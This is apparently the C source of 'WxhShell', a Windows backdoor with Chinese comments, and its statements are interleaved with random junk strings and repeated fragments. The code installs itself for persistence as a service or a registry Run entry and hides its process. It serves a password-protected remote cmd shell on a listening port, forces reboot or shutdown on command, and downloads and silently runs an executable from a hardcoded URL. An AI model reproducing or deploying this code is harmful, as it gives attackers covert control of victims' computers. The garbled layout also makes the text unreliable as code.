g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;6T>p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Z!$E,@c ve [*t ` if (!NtQueryInformationProcess) return 0; GRt1]%l#$ <]jKpJ{3N hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #@*;Y(9Ol if(!hProcess) return 0; w[bhm$SX]B tocZO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BO3#*J5S\ t=IpVl! CloseHandle(hProcess); {g%F 3- Dp5hr 8bT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bP4<q?FKcN if(hProcess==NULL) return 0; 'k?%39 R*v~jR/ HMODULE hMod; %SHjJCS3 char procName[255]; yt+"\d unsigned long cbNeeded; tdl Y <d$L}uQwg if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #fy#G}c J(%Jg CloseHandle(hProcess); 9
2e?v8 Od?M4Ed( if(strstr(procName,"services")) return 1; // 以服务启动 o:E_k#Fi <K$X>&Ts return 0; // 注册表启动 ?x*Ve2+] } -t<8)9q( O[tOpf@s. // 主模块 $!(J4v=X int StartWxhshell(LPSTR lpCmdLine) y2>XLELy { fc~6/ SOCKET wsl; Bbb_}y|CA BOOL val=TRUE; ymIjm0jVh int port=0; z2Pnni7Ys struct sockaddr_in door; \5]${vs&s %,l+?fF if(wscfg.ws_autoins) Install(); eX;Tufe*(Q px!TRbf port=atoi(lpCmdLine); qB`-[A9HPe KNkVI K if(port<=0) port=wscfg.ws_port; &m>yY{be TTJFF\$? WSADATA data; F)W7,^=X>- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VUo7Evc:.P N^G:m~> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $6(,/}==0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yEaim~ door.sin_family = AF_INET; E!~Ok door.sin_addr.s_addr = inet_addr("127.0.0.1"); Slk__eC door.sin_port = htons(port); i|@lUXBp +x7b9sHJ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )4[Yplo closesocket(wsl); S690Y]:h$v return 1; xHA6 } 9^;)~ G Tn$/9<Q if(listen(wsl,2) == INVALID_SOCKET) { 1@ e22\ closesocket(wsl); R3HfE*;Z return 1; #s'UA!) } 7rc6 Wxhshell(wsl); w3l+BUn:X WSACleanup(); A,tmy',d" d!V;\w return 0; [r_YQ*+ej i|z=q } '8auj #B;~i6h] // 以NT服务方式启动 Fp)+>oT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) igoXMsifT+ { Ft7{P.g DWORD status = 0; sXD.*D DWORD specificError = 0xfffffff; ?B)jnBh| 9]ga\>v serviceStatus.dwServiceType = SERVICE_WIN32; (8[et m serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;*3OkNxa3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?0v(_ v serviceStatus.dwWin32ExitCode = 0; ` )9nBZ serviceStatus.dwServiceSpecificExitCode = 0; L(p{>Ykcc serviceStatus.dwCheckPoint = 0; hdi/ k!9[\ serviceStatus.dwWaitHint = 0; d"E@e21 Mr5E\~K>s hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @~4Q\^;NX if (hServiceStatusHandle==0) return; #HMJBQ4v# X1A~#w> status = GetLastError(); 9@nDXZPY& if (status!=NO_ERROR) NTnjVU
} { =@98Gl9! serviceStatus.dwCurrentState = SERVICE_STOPPED; C^}2::Qu serviceStatus.dwCheckPoint = 0; 0i76(2 serviceStatus.dwWaitHint = 0; j}0W|* serviceStatus.dwWin32ExitCode = status; SR,id B&i serviceStatus.dwServiceSpecificExitCode = specificError; UStNUNCq SetServiceStatus(hServiceStatusHandle, &serviceStatus); fM[Qn*. return; {uurM`f}: } :# 1d;jx DNARe!pK serviceStatus.dwCurrentState = SERVICE_RUNNING; Kt(Z&@ serviceStatus.dwCheckPoint = 0; ?s4-2g serviceStatus.dwWaitHint = 0; 8"d0Su4r if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C~16Jj:v } ]Iku(<*Ya 9#:b+Amzz // 处理NT服务事件,比如:启动、停止 !xU1[,9 VOID WINAPI NTServiceHandler(DWORD fdwControl) ]et4B+=i { q*^Y8s~3I switch(fdwControl) d?j_L`?+ { ~0mO<0~ case SERVICE_CONTROL_STOP: -`z`K08sT serviceStatus.dwWin32ExitCode = 0; Ca: jN0 serviceStatus.dwCurrentState = SERVICE_STOPPED; Tgpf0( serviceStatus.dwCheckPoint = 0; j,q8n`@ serviceStatus.dwWaitHint = 0; =j%B`cJ66_ { y*Egt `W SetServiceStatus(hServiceStatusHandle, &serviceStatus); #6XN_< } B{\cV-X$0 return; 54TW8y `h case SERVICE_CONTROL_PAUSE: k{*IR serviceStatus.dwCurrentState = SERVICE_PAUSED; 2v
^bd^]u: break; EhEUkZE3) case SERVICE_CONTROL_CONTINUE: &<!DNXQ serviceStatus.dwCurrentState = SERVICE_RUNNING; hJqLH?Ri break; hXsd12 case SERVICE_CONTROL_INTERROGATE: /~w!7n<7 break; fS08q9,S / }; 0?)U?=>]p SetServiceStatus(hServiceStatusHandle, &serviceStatus); xc%\%8C} } I3;{II EXlmIY4 // 标准应用程序主函数 X!} t`` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w"s;R8 { %M=[h2SN sSisO?F!Z // 获取操作系统版本 e:SBX/\j OsIsNt=GetOsVer(); q[6tvPfkX GetModuleFileName(NULL,ExeFile,MAX_PATH); H%,jB<-.A w2-:!,X // 从命令行安装 L5%t.7B if(strpbrk(lpCmdLine,"iI")) Install(); j2V"w&>b} gy|L!_1Z8 // 下载执行文件 QXXB>gOY5 if(wscfg.ws_downexe) { 4)L(41h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nXgnlb= WinExec(wscfg.ws_filenam,SW_HIDE); Yp_ L.TTb } +T*=JHOD / S32)=( if(!OsIsNt) { 'j^A87\M_ // 如果时win9x,隐藏进程并且设置为注册表启动 AT){OQF8& HideProc(); uFseO9F.2 StartWxhshell(lpCmdLine); \)\uAI- } LRF_w)^[' else X<\E
'v`~ if(StartFromService()) !PQ%h/ix // 以服务方式启动 >]6f!;Rt StartServiceCtrlDispatcher(DispatchTable); :n'$Txf else :%[=v(G[ // 普通方式启动 q=NI}k StartWxhshell(lpCmdLine);
9"KO!w hf6=`M}>i return 0; \8Mn[G9TL } x-wIgo+ pGQP9r% MAhJ>qe8
p k[TVu5R =========================================== ;7id![KI4 ^SP/&w<c cE{hy7cH (G:A^z Gm,vLs9H$T }2WscxL " 81m3j`b /RVy?)hVT# #include <stdio.h> \rXmWzl{ #include <string.h> ~}uv4;0l] #include <windows.h> 42`%D #include <winsock2.h> &h(>jY7b; #include <winsvc.h> do {E39 #include <urlmon.h> #nK38W# F.zx]][JV #pragma comment (lib, "Ws2_32.lib") Q5[x2 s_ d #pragma comment (lib, "urlmon.lib") 4o+SSS !+sC'/ #define MAX_USER 100 // 最大客户端连接数 1u?h4wC #define BUF_SOCK 200 // sock buffer #w%d #define KEY_BUFF 255 // 输入 buffer )7$1Da|. @DiXe[kI #define REBOOT 0 // 重启 J1i{n7f=@ #define SHUTDOWN 1 // 关机 t)#8r,9c Gv
'; #define DEF_PORT 5000 // 监听端口 [I*)H7pt} w %4SNR #define REG_LEN 16 // 注册表键长度 p>4tPI}bf #define SVC_LEN 80 // NT服务名长度 Rm@#GP`
*QKxrg // 从dll定义API ] !7%) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4Zz%vY typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 06ndW9>wD) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0c2O'&$au typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U0%T<6*H 9+:SS1_ // wxhshell配置信息 @uh^)6i]/ struct WSCFG { kJQH{n+)R int ws_port; // 监听端口 ew13qpt)<L char ws_passstr[REG_LEN]; // 口令 x)35}mi){L int ws_autoins; // 安装标记, 1=yes 0=no (`W_ -PI char ws_regname[REG_LEN]; // 注册表键名 7a$K@iWU char ws_svcname[REG_LEN]; // 服务名 j6!C/UgQ char ws_svcdisp[SVC_LEN]; // 服务显示名 "_LDs(& char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rz sgPk char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o,-p[1b int ws_downexe; // 下载执行标记, 1=yes 0=no ;rgg O0Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jeKqS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |j 9d.M <z'Pj7c[ }; \a#{Y/j3 6?;U[eV // default Wxhshell configuration %G'{G struct WSCFG wscfg={DEF_PORT, 4>x$I9^Y! "xuhuanlingzhe", /"(`oe< 1, z3n273W>6 "Wxhshell", y4\(ynk "Wxhshell", JfOBZQ "WxhShell Service", a&^HvXO(>( "Wrsky Windows CmdShell Service", +9^V9]{Vo "Please Input Your Password: ", Vy.gr4Cm 1, EZ,Tc;f= "http://www.wrsky.com/wxhshell.exe", 'CQ~ZV5 "Wxhshell.exe" iXoEdt) }; {GH0>
1& 1K*`i( // 消息定义模块 Zz,j,w0 Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d}RU-uiW char *msg_ws_prompt="\n\r? for help\n\r#>"; O]-)?y/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F"-u8in` char *msg_ws_ext="\n\rExit."; FTF`-}Hz char *msg_ws_end="\n\rQuit."; H{)DI(,Y^P char *msg_ws_boot="\n\rReboot..."; l|kGp~ char *msg_ws_poff="\n\rShutdown..."; ftb .CPWI char *msg_ws_down="\n\rSave to "; &i(\g7%U 8"'Z0
Ey char *msg_ws_err="\n\rErr!"; c-jE1y< char *msg_ws_ok="\n\rOK!"; {PGiNY%q u=6LPwiI char ExeFile[MAX_PATH]; Y)O88C int nUser = 0; ugu|?z*dI HANDLE handles[MAX_USER]; k)3b0T@b int OsIsNt; 2_/H, &@v&5EXOw SERVICE_STATUS serviceStatus; R|@?6< SERVICE_STATUS_HANDLE hServiceStatusHandle; g=gM}`X% /"J3hSR // 函数声明 ]$7yB3S,B int Install(void); (]@yDb4 int Uninstall(void); >P9|?:c int DownloadFile(char *sURL, SOCKET wsh); s![Di int Boot(int flag); e,?qwZK:y void HideProc(void); nF5\iV int GetOsVer(void); HZawB25{ int Wxhshell(SOCKET wsl); +=Y[RCXT void TalkWithClient(void *cs); lcX'n8/3 int CmdShell(SOCKET sock); Qi= pP/Y int StartFromService(void); "W b>y*S int StartWxhshell(LPSTR lpCmdLine); Q4Zw<IZv5 H2jF=U"= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); im-XP@< VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z[ 53cVT^ LJgGX,Kp // 数据结构和表定义 v:IpZ;^ SERVICE_TABLE_ENTRY DispatchTable[] = iW?z2%# { A{ a4;`}5 {wscfg.ws_svcname, NTServiceMain}, UfkQG`G9H {NULL, NULL} Fa0NHX2: }; ,
3&DA #?h-<KQQ // 自我安装 S'_2o?fs int Install(void) TpGnSD { 6/dP)"a(' char svExeFile[MAX_PATH]; WHy
r;m3) HKEY key; 3j6Am{9 strcpy(svExeFile,ExeFile); ?mp}_x#= :|HCUZ*H(T // 如果是win9x系统,修改注册表设为自启动 )p`zN=t if(!OsIsNt) { <~bvfA= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;%Zu[G`C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z#t}yC%^d RegCloseKey(key); o.g)[$M8cF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 01<Ti" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6n?0MMtR RegCloseKey(key); =c;.cW return 0; 8b[<:{[YB } grxlGS~Q } sTu]C +A } -NPX;e$< else { Vv&GyqoO]
Pb}Iiq= // 如果是NT以上系统,安装为系统服务 0K(&EpVE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MP|$+yuR~ if (schSCManager!=0) s?Z{LWZ@ { XS(Q)\" SC_HANDLE schService = CreateService .)c+gyaQ ( M^&^g schSCManager, 2{xf{)hO? wscfg.ws_svcname, ?~3Pydrb# wscfg.ws_svcdisp, ^2`*1el SERVICE_ALL_ACCESS, v;nnr0; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , | /X+2K}3 SERVICE_AUTO_START, C <d]0) SERVICE_ERROR_NORMAL, n[gc`#7|{e svExeFile, Ez+8B|0P NULL, {U)q) NULL, yIu_DFq% NULL, a_\t(U NULL, Y#zHw<<E NULL RZ0+Uu/J ); YS bS.tq if (schService!=0) A~@x8 { pG^>y0 CloseServiceHandle(schService); v=~+o[ CloseServiceHandle(schSCManager); 2Ah B)8bG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ew&"n2r strcat(svExeFile,wscfg.ws_svcname); cS%;JV>C
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a] P0PH~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J(5#fo{Q.g RegCloseKey(key); T2}X~A return 0; =<X4LO)C } XC!Y {lp } f_z]kA
+H CloseServiceHandle(schSCManager); T2_b5j3i } Y;{(?0
s } Ce:w^P+ $#-O^0D return 1; @6Z6@Pq(xQ } avY<~-44B .naSK`J,` // 自我卸载 {XH3zMk[ int Uninstall(void) J|u_45< { 1oI2 HKEY key; Z4dl'v)9 pwVaSnre` if(!OsIsNt) { BUUc9&f3o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =@P]eK/ RegDeleteValue(key,wscfg.ws_regname); I&f!>y?,Z RegCloseKey(key); Eih6?Lpu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i|xC#hV RegDeleteValue(key,wscfg.ws_regname); !
Q8y]9O RegCloseKey(key); L5wR4Ue) return 0; P@0J! } GK[9Cm"v } pHKc9VC } OCu/w1bc else { g f<vQb| C$d b)5- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 fTf+P if (schSCManager!=0) 6J <.i { ZU;nXqjc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tu^C<MV if (schService!=0) G%>{Z?!B { Ry40:;MYN if(DeleteService(schService)!=0) { jt0f*eYE8 CloseServiceHandle(schService); Pp.]/; CloseServiceHandle(schSCManager); "}2I0tM return 0; :Q}Zb,32 } Jo\karpb CloseServiceHandle(schService); 8(]q/g"O } i7mo89S CloseServiceHandle(schSCManager); _~ 3r*j } p2hPLq } ^@)*voP#G Y o\%53w/ return 1; }J6 y NoXu } %GGSd0
g ]]T,;|B // 从指定url下载文件 P} w0= int DownloadFile(char *sURL, SOCKET wsh) 2>g!+p Ox { MaZVGrcC HRESULT hr; hV NT char seps[]= "/"; Q!(qb char *token; lL,0IfC, char *file; 4'y@ne}g! char myURL[MAX_PATH]; 1sq1{|NW~ char myFILE[MAX_PATH]; #&Rx?V Y+gNi_dE strcpy(myURL,sURL); W$J@|i token=strtok(myURL,seps); h>A~yDT[ while(token!=NULL) AG|:mQO { /k KVIlO file=token; zh5ovA% token=strtok(NULL,seps); LC qWL1 } S&F;~ x_- SAyH GetCurrentDirectory(MAX_PATH,myFILE); ywj'O
e41 strcat(myFILE, "\\"); 2p~G][ strcat(myFILE, file); 4$+/7I \ send(wsh,myFILE,strlen(myFILE),0); R]l2,0: send(wsh,"...",3,0); QtLd(&
!v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aZmac'cz{ if(hr==S_OK) VDlP,Mm* return 0; @%8$k[ else QC(ce)Y return 1; eC_i]q&o| cA~bH 6 } l - ~PX MAD t$_ // 系统电源模块 S_;m+Ytg int Boot(int flag) \*Z:w3;r { 5k;}I|rg % HANDLE hToken; NYeL1h)l TOKEN_PRIVILEGES tkp; m,Mg 2^)_XVX1 if(OsIsNt) { -kb;h F}. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^xq)Q?[{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]'<"qY tkp.PrivilegeCount = 1; EME}G42KN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |N|[E5Cn AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 26MoYO!k if(flag==REBOOT) { #<vzQ\~Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) db.~^][k return 0; I.p"8I; } wq]vcY9^ else { ~JB4s%& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /}(\P@Z return 0; I=;=;- } ufN`=IJ% } x5k6"S"1, else { b<BkI""b if(flag==REBOOT) { GD4+f|1.* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LAuaowE\v return 0; %Lom#:L' } o`nJJ:Cxq- else { ]3
76F7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X]s="^ return 0; -ug-rdXV } 1_>w|6;e } 7|<-rjz^ o),@I#fM return 1; X(Lz&fkd } N`LY$U+N| ooj^Z%9P // win9x进程隐藏模块 0ej*0"Mq void HideProc(void) G;]zX<2^3 { 8<
"lEL| mzcxq:uZ5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nX<yB9bXDg if ( hKernel != NULL ) BX2}ar { FLQ^J3A,I pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _r`(P#Hy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dZAb': FreeLibrary(hKernel); } A}Vd:# } iThf\ 3m"9q return; C^!~WFy } 6\x/Z=}L c1 1?Kq // 获取操作系统版本 ^geY Ay int GetOsVer(void) "F?p Y@4 { C <H$}f OSVERSIONINFO winfo; :!fU+2$`^( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W\O.[7JP GetVersionEx(&winfo); *7C l1o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6G:7r [ return 1; ;JX2ebx else P?zL`czWd return 0; VW:Voc } >|hqt8lY Agwl2AM5k // 客户端句柄模块 Rc}#4pM8 int Wxhshell(SOCKET wsl) 3#idXc { G$jw#a[L SOCKET wsh; oSH]TL2@Cd struct sockaddr_in client; T8Ye+eP} DWORD myID; q]v{o8:U 2 '8I/>- while(nUser<MAX_USER) Sv[+~co<l { Obc wmL int nSize=sizeof(client); u9{Z*w3L7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2Iq*7n:v0 if(wsh==INVALID_SOCKET) return 1; =64Ju Wvo avd`7eH2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `LJ.NY pP if(handles[nUser]==0) !~]'&9 closesocket(wsh); _J0(GuG=~ else ]"i^VVw nUser++; F "-GhjK } ]gVW&3ZW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i7`/"5I z"Wyf6H0T return 0; ZU5; w } 8[IR;gZf <4*)J9V^s= // 关闭 socket )Nl xW5 void CloseIt(SOCKET wsh) WU6F-{M"? { PBAQ
KQ closesocket(wsh); 'L2[^iF9 nUser--; Jy0(g T ExitThread(0); |qb-iXW= } &IFXU2t}
<^adt
*m // 客户端请求句柄 f4^\iZ{`G void TalkWithClient(void *cs) BsYJIKfW { s+a#x(7{ tS[@?qP SOCKET wsh=(SOCKET)cs; %D[6;PT char pwd[SVC_LEN]; w=ZK=@ char cmd[KEY_BUFF]; 8-)@q| char chr[1]; }QJ6"s
int i,j; sDXQ{*6a D#11
N^-K while (nUser < MAX_USER) { B{NGrC`5) 78E<_UgcB if(wscfg.ws_passstr) { }nWW`:t kx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W<H<~wf# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #a!qJeWm0 //ZeroMemory(pwd,KEY_BUFF); |@dY[VK> i=0; (E \lLlN while(i<SVC_LEN) { S~{}jvc /?:q9Wy // 设置超时 NJ(H$tB@ fd_set FdRead; YF13&E2`\ struct timeval TimeOut; CjU?3Ag FD_ZERO(&FdRead); }?Tz=hP FD_SET(wsh,&FdRead); A )xfO- TimeOut.tv_sec=8; 'e7;^s TimeOut.tv_usec=0; 8LlWXeD9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / KxZ+Ww>v if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); um$L;-2: K[9{]$(Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 86~q pN pwd=chr[0]; _8OSDW*D5t if(chr[0]==0xd || chr[0]==0xa) { 7niI65 pwd=0; - s0QEQ break; ;})so } &MGM9
zm-] i++; g;!,2,De} } L_fiE3G|> X1GM\*BE // 如果是非法用户,关闭 socket v;IuB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ai5D[ykX } s@|TQ9e |j HeM- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T$4Utd5[z' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B k~% jNP%BNd1f while(1) { {_X&{dZLX >2K:O\& ZeroMemory(cmd,KEY_BUFF); >~\CiV4^ 7R>Pk9J // 自动支持客户端 telnet标准 =kn-F T j=0; \> while(j<KEY_BUFF) { /@]@Tz@' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P6;Cohfh cmd[j]=chr[0]; p}h9>R if(chr[0]==0xa || chr[0]==0xd) { rTM0[2N cmd[j]=0; `6y\.6j break; axdRV1+s } xMo'SpVz: j++; ?4 lDoP{ } B0:/7Ld$Ml M l9 // 下载文件 (W_U<~`t if(strstr(cmd,"http://")) { &(rR)cG send(wsh,msg_ws_down,strlen(msg_ws_down),0); BY??X= if(DownloadFile(cmd,wsh)) S$ 91L send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z;J{&OJ3qM else w-?Cg8bq< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nh%Q"; } >A1;!kGE# else { R?+:Js/ H?j!f$sw switch(cmd[0]) { K_LwYO3 C07 U.nzh // 帮助 ftbOvG/
I case '?': { zNJ-JIo% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K"9V8x3Wg break; y`-5/4 } CFiO+p& // 安装 I07_o"3>qr case 'i': { RTv zS] if(Install()) oH kjMqju send(wsh,msg_ws_err,strlen(msg_ws_err),0); qn~:B7f else 5`[B:<E4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w1
tg7^(@ break; kIYV%O
} &p:GB_ // 卸载 N!^5<2z@eT case 'r': { &Ch~$Wb^ if(Uninstall()) doV+u(J~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z1M{5E else $#d.@JWi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L=5Fvm break; t+Hx&_pMj } %%f(R7n // 显示 wxhshell 所在路径 m6M:l"u case 'p': { Zywx.@! char svExeFile[MAX_PATH]; ]eIV'lP,j/ strcpy(svExeFile,"\n\r"); ~3s\Q%
strcat(svExeFile,ExeFile); =hB0p^a send(wsh,svExeFile,strlen(svExeFile),0); 7NDjXcuq break; U Zc%XZ`"V } [49Ae2W` // 重启 ${)s
~[ case 'b': { \P7y&`| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vP{;'R if(Boot(REBOOT)) P0XVR_TJf send(wsh,msg_ws_err,strlen(msg_ws_err),0); b#E!wMClS else { +K03yphZr closesocket(wsh); `d.4L.], ExitThread(0); uQtwh08i } mY,t]#^m7 break; #~`]eM5`J } Q!"W)tD // 关机 ,7|Wf
%X case 'd': { I6Mr[#* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wQ/Z: if(Boot(SHUTDOWN)) 088"7 s send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3@v else {
e&J_uG closesocket(wsh); qI#ow_lL# ExitThread(0); uV+.(sjH } %t<ba[9F break; UV8K$n< } W05>\Rl // 获取shell &[|P/gj#> case 's': { 5 ]v]^Y'? CmdShell(wsh); ;m cu(J closesocket(wsh); hz~jyH.h_ ExitThread(0); g?d*cwtU break; bjYaJtn } #Do#e
{=+ // 退出 26<Wg7/, case 'x': { 6%RN- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^NPbD<~Lb CloseIt(wsh); -C<Ni break; bem-T`>' } 7JHS8C<] // 离开 Kk_h&by? case 'q': { }MV=I$S2U send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' 5%`[& closesocket(wsh); A/#Xr WSACleanup(); sCE2 F_xjL exit(1); -!b@\= break; @CU~3Md* } y:3d`E4Xw } [Y=X^"PF } '4}c1F1T_ <UMT:`h1MZ // 提示信息 37QXML if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ GW8|tw } "~HV!(dRMC } '{(/C?T j1{\nP/ return; Om=*b#k } Zc9j_.?* T11;LSD // shell模块句柄 K0Zq)< int CmdShell(SOCKET sock) ;&%G)f { r(::3TF%#q STARTUPINFO si; |U4t 8 ZeroMemory(&si,sizeof(si)); I{0bsTp; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9x40 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 78i"3Tm)w PROCESS_INFORMATION ProcessInfo; Hz6yy* char cmdline[]="cmd"; }th^l*g CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J$Qm:DC5 return 0; [M{EO) } 3!V$fl0 p* // 自身启动模式 Y!tjaL 9D int StartFromService(void) 8K/o / { q4rDAQyPO typedef struct :&oUI&(o { r!7e:p JLO DWORD ExitStatus; /NDuAjp[@ DWORD PebBaseAddress; [Ifhh2 DWORD AffinityMask; 8xEOR!\!`k DWORD BasePriority; ;y{VdT ULONG UniqueProcessId; :9Vd=M6, ULONG InheritedFromUniqueProcessId; -=A W. Zo } PROCESS_BASIC_INFORMATION; ;dh8|ujh \O7Vo<B&D PROCNTQSIP NtQueryInformationProcess; "<J%@ 0u"/7OU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
j{;RuNt static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Q6l?!|W4 b88Zk* HANDLE hProcess; yU@~UCmja PROCESS_BASIC_INFORMATION pbi; ?$T39U^ 96.z\[0VZ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <.h\%&'U if(NULL == hInst ) return 0; i;Y@>-[e< j_r7oARL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7q] @Jx9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k9^Vw+$m NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Rkld v' d$G<g78D if (!NtQueryInformationProcess) return 0; @}e'(ju%R MK<VjpP0( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9A4h?/ if(!hProcess) return 0; @-ma_0cZQ /@.c
